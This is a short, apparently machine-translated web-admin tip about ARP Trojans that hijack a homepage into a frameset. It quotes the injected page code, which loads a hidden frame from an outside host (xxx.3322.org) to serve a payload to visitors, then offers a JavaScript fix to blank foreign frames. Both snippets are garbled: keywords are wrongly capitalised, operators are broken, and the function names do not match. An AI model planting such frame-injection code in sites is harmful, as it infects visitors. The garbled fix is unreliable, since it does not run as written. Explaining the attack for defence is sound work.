Nowadays, ARP Trojans are popular, and the entire homepage is FRAMESET, for example:
<Html>
<Head>
</Head>
<Script>
Function showme ()
{
Var CK = document. cookie;
Var sa = CK. indexOf ("CK ");
If (sa! =-1) {} else {var EP = new Date ();
EP. setTime (EP. getTime () + 24x60x60*1000 );
Document. cookie = "CK = test; expires =" + EP. toGMTString ();
Self. hi. location = "http://xxx.3322.org: 987/wm/xxx.htm ";}
}
</Script>
<Frameset rows = "100%, *" onLoad = "showme ()">
<Frame name = "hello" src = "/? UpdatedPage = aGlqYWNr ">
<Frame name = "hi" src = "">
</Frameset>
</Html>
Place the following JS in the HEAD tag of the home page for temporary solution:
<Script>
Function DisableTrojanFrame (second ){
SetInterval (function (){
If (top. location! = Self. location ){
If (window. top. frames ){
FrameS = window. top. frames;
For (var I = 0; I <frameS. length; I ++ ){
If (frameS [I]. location! = Self. location ){
FrameS [I]. location = about: blank;
}
}
}
}
}, Second * 1000 );
}
Disabletrojanframework (0.1 );
</Script>
RAyh4c Black Box